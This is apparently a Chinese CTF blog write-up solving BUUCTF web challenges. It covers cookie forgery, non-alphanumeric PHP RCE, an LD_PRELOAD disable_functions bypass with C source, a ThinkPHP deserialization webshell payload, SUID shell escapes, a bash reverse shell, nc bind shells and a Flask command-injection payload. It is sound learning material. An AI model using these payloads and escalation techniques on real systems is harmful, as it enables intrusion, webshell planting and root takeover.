BUU刷题Day10

本文介绍了通过HTTP请求的cookie实现权限提升,利用PHP的反序列化漏洞进行远程代码执行,以及在Linux环境中利用SUID权限进行提权的方法。涉及到的工具有蚁剑、nmap、vim、find等,同时也探讨了常见的SUID二进制文件及其利用方式。
摘要由CSDN通过智能技术生成

目录

前言

[BSidesCF 2019]Kookie

[极客大挑战 2019]RCE ME

总结:

php_checkin

什么是SUID

设置SUID

awk

cp

nano

more和less

Bash

Vim

find

nmap

flask


前言

也是摆烂了一段时间了,今天浅摆一下,做几道题助助兴。

[BSidesCF 2019]Kookie

让我以admin登录,试试admin&admin

不合法,登录框让我想到注入是不太可能了,抓个包吧!

除了cookie没别的提示了,那就只能对cookie下手了,让我以admin登录我就username=admin

拿下,这个题的密码其实是什么都无所谓,只要cookie对了就可以了

[极客大挑战 2019]RCE ME

rce题目,字符串不能大于40而且是无数字字母rce,异或和取反都可以绕过,掏出以前学rce时候的笔记

先说取反吧,看个phpinfo()

?code=(~%8F%97%8F%96%91%99%90)();

要先看看disable_function吧

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

上个马

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

<?php
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'(eval($_POST[cmd]))');
?>

然后蚁剑一下

http://e149ff13-b69c-4720-881a-61e8e299705e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

果不其然看不了flag

绕disable_funcotion吧

我用蚁剑的插件绕过了,选择模式是PHP7_GC_UAF

然后/readflag

这里是一个小常识,一般这个时候是没有权限来读/flag的,但是出题人会留个有s权限的/readflag给我们用

然后我觉得没有学到什么东西,就去网上找了下WP,原来正解是通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

下面看看吧

LD_PRELOAD 是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载器将在包括 C 运行时库 (libc.so) 在内的任何其他共享库之前加载该路径。这称为预加载库。

LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。

LD_PRELOAD漏洞利用思路如下:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步:

  1. 查看进程调用系统函数明细

  2. 操作系统环境下劫持系统函数注入代码

  3. 寻找内部启动新进程的PHP函数

  4. PHP环境下劫持系统函数注入代码

找一个具有上传权限的目录,在那个目录下上传两个文件bypass_disablefunc.phpbypass_disablefunc_x64.so

bypass_disablefunc.php源码:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
​
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
​
    putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
​
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
​
    mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
​
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
​
    unlink($out_path);
?>

其中有一个函数nl2br (PHP 4, PHP 5, PHP 7, PHP 8) nl2br — 在字符串所有新行之前插入 HTML 换行标记,在字符串所有新行之前插入 ‘ ’ 或 ‘ ’,并返回。

bypass_disablefunc_x64.so源码:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
​
extern char** environ; //获取环境变量
​
__attribute__ ((__constructor__)) void preload (void)
{
    
    const char* cmdline = getenv("EVIL_CMDLINE");
    //获取EVIL_CMDLINE的值
    int i;
    //从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
    //从而使下面的system()正常执行。
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
​
    // 执行命令
    system(cmdline);
}
 

运行命令:

gcc -shared -fPIC bypass.c -o bypass_disablefunc_x64.so
  • fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的

根据上面的思路,我们的payload应该大概是

/?code=assert(include("/var/tmp/bypass_disablefunc.php"));&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

但是考虑到无数字字母,那我们就

取一下反吧!

/?code=${~%A0%B8%BA%AB}[_](${~%A0%B8%BA%AB}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so
 

异或绕过!

/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include("/var/tmp/bypass_disablefunc.php")&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

总结:

绕过disable_function

php_checkin

打开/www.zip下载源码,抱着一丝丝幻想用D盾扫了一下,果不其然没有后门。。

然后readme.md里面说这是个TP6.0框架入口文件为 public/index.php

放入seay审计

在/app/controller/index.php看到反序列化参数是exp,那这个题应该是反序列化了(感觉大多数给了源码的题都是反序列化

因为反序列化的入口一般是destruct()方法,所以我们全局搜索destruct()方法;

POC:

exp=TzozOToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxBZGFwdGVyIjo0OntzOjEwOiIAKgBhZGFwdGVyIjtPOjMwOiJMZWFndWVcRmx5c3lzdGVtXEFkYXB0ZXJcTG9jYWwiOjA6e31zOjc6IgAqAGZpbGUiO3M6OToic2hlbGwucGhwIjtzOjExOiIAKgBhdXRvc2F2ZSI7YjowO3M6ODoiACoAY2FjaGUiO2E6MTp7aTowO3M6MjU6Ijw/cGhwIGV2YWwoJF9QT1NUW2NtZF0pPz4iO319

具体审计在上一篇博客TP6.0反序列化审计。我们执行

蚁剑连上后想看flag发现没有权限,那就要提权了,WP是suid提权

这里学一下suid提权吧

什么是SUID

先说说什么是SUID吧 SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

简单来说就是Linux的万物皆文件背景下,狗(可执行文件)有一个高权限的主人,那低权限的我们就可以通过这个狗(可执行文件)来以主人(高权限)执行命令。利用此特性,我们可通过SUID进行提权

设置SUID

在了解SUID提权以前 我们简单看一下如何设置SUID权限

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

ls -al查看文件权限

网上找到已知的具有SUID权限的二进制可执行文件大体有如下这些:

nmap
vim
find
bash
more
less
nano
cp
awk

但是这个题就是不是这里面的,又学一招嘿嘿嘿

以下命令可以找到系统上运行的所有SUID可执行文件。准确的说,这个命令将从根目录开始查找具有SUID权限且主人是root的文件并输出显示,然后将所有的错误重定向到/dex/null,从而仅列出该用户具有访问权限的那些二进制文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

这里面没有我们常用的,所以我们用WP的data

同理我们再说一下前面提到的几个可执行文件

awk

awk命令进入shell:

awk 'BEGIN {system("/bin/bash")}'

cp

使用cp 命令覆盖原来的/etc/passwd文件

nano

nano也算是比较上古的文本编辑器了。nano进入shell的方法为:

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

more和less

more命令进入shell和less相同

more /etc/passwd
#在more中输入:
!/bin/sh
less /etc/passwd
#在less中输入:
!/bin/sh

要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell

Bash

以下命令将以root身份打开一个bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

Vim

vim的主要用途是做编辑器,是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。通过vim进入shell:

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

find

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

反弹shell:

find anyfile -exec bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1' \;

攻击机:

nc -lvvp 4444

正向shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;

攻击机:

nc 靶机ip 4444

nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权:

nmap> !sh
sh-3.2# whoami
root

msf当中也有利用nmap进行提权的模块

exploit/unix/local/setuid_nmap

flask

这个题有个附件,打开环境看了下附件,是python,然后用插件看了一下网站,确实是python的,看来又是代码审计了

# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
    abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
​
app = Flask(__name__)
​
​
def waf(s):
    blacklist = ['import', '(', ')', ' ', '_', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro',
                 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen', 'builtins', 'compile',
                 'execfile',
                 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals',
                 '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag
​
​
@app.route("/")
def index():
    return render_template("index.html")
​
​
@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
            f = open('./log.txt', 'r')
            log2 = f.read()
            data2 = str(data) + str(log2)
        except:
            pass
        return str(data2)
    else:
        return "waf!!"
​
​
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

eval执行的内容ban了好多东西,要用os.system(),waf中没有禁用反引号``可以在echo中使用反引号把命令执行结果输出到文件,仔细看发现有./log.txt的权限。但是有一个问题就是一开始想利用的eval不认识反引号,要报错进入excecpt,不会执行下面的os.system(),这时候用到python的注释符#,没有被ban掉!我们可以把反引号注释了,就可以过掉这里。所以payload应该:

num=1#`ls`

我执行发现不行就还得求助WP

原来是浏览器不编码#,只能自己编码,不然会进入except!!!!所以payload现在变成了:

num=1%23%60cat%09/flag%60

拿下!

还有一道题明天发吧,晚安

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

姜小孩.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值